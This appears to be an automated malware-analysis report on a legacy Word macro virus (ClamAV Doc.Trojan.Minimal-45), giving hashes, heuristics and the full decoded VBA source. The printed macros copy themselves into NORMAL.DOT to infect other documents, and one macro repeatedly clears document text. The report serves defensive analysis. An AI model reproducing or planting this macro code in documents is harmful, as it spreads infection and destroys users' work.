Office (OLE) malware analysis — malicious · 61a6e56a31dc583d

MALICIOUS

Office (OLE)

30.5 KB Created: 1998-04-18 20:28:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14

MD5: c136ff448f43c216ed0bb318fa8493c0 SHA-1: de0c8e8534f202a00ddc43627bb4ed0ef52ba2ea SHA-256: 61a6e56a31dc583d6313960ccf3533dbadb11c9332bcdf7625a9e9da79c3c133

240 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a malicious Office document containing VBA macros. The AutoOpen and AutoClose macros are designed to copy themselves and another macro named 'aaaaa' to the user's NORMAL.DOT template. This behavior suggests an attempt to establish persistence and spread the malicious macros to other documents created by the user.

Heuristics 5

ClamAV: Doc.Trojan.Minimal-45 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Trojan.Minimal-45
VBA macros detected medium 2 related findings OLE_VBA_MACROS

Document contains VBA macro code
AutoOpen macro high OLE_VBA_AUTOOPEN

AutoOpen macro
Auto_Close macro high OLE_VBA_AUTOCLOSE

Auto_Close macro
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	2095 bytes
SHA-256: `b10f573f4f40daf405ae9f0f06c575fb6426cca6feab594629733bff208f9993`
Detection ClamAV: Doc.Trojan.Minimal-45 Obfuscation or payload: unlikely
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "AutoClose" Public Sub MAIN() Dim count_ Dim w$ WordBasic.EditReplace Find:=" ", Replace:=" ", Direction:=0, MatchCase:=0, WholeWord:=0, PatternMatch:=0, SoundsLike:=0, ReplaceAll:=1, Format:=0, Wrap:=1 count_ = WordBasic.CountMacros(1) w$ = WordBasic.[MacroName$](count_, 1) If w$ = "aaaaa" Then GoTo t Else WordBasic.FileSaveAs Format:=1, LockAnnot:=0, Password:="", AddToMru:=1, WritePassword:="", RecommendReadOnly:=0, EmbedFonts:=0, NativePictureFormat:=0, FormsData:=0 WordBasic.Organizer Copy:=1, Source:=WordBasic.[DefaultDir$](2) + "\NORMAL.DOT", Destination:=WordBasic.[FileName$](), Name:="AutoClose", Tab:=3 WordBasic.Organizer Copy:=1, Source:=WordBasic.[DefaultDir$](2) + "\NORMAL.DOT", Destination:=WordBasic.[FileName$](), Name:="AutoOpen", Tab:=3 WordBasic.Organizer Copy:=1, Source:=WordBasic.[DefaultDir$](2) + "\NORMAL.DOT", Destination:=WordBasic.[FileName$](), Name:="aaaaa", Tab:=3 t: WordBasic.FileSave End Sub Attribute VB_Name = "AutoOpen" Public Sub MAIN() WordBasic.Organizer Copy:=1, Source:=WordBasic.[FileName$](), Destination:=WordBasic.[DefaultDir$](2) + "\NORMAL.DOT", Name:="AutoClose", Tab:=3 WordBasic.Organizer Copy:=1, Source:=WordBasic.[FileName$](), Destination:=WordBasic.[DefaultDir$](2) + "\NORMAL.DOT", Name:="AutoOpen", Tab:=3 WordBasic.Organizer Copy:=1, Source:=WordBasic.[FileName$](), Destination:=WordBasic.[DefaultDir$](2) + "\NORMAL.DOT", Name:="aaaaa", Tab:=3 End Sub Attribute VB_Name = "aaaaa" Public Sub MAIN() WordBasic.EditClear WordBasic.EditClear WordBasic.EditClear WordBasic.EditClear WordBasic.EditClear WordBasic.EditClear WordBasic.EditClear WordBasic.EditClear WordBasic.EditClear WordBasic.EditClear WordBasic.EditClear WordBasic.EditClear WordBasic.EditClear End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.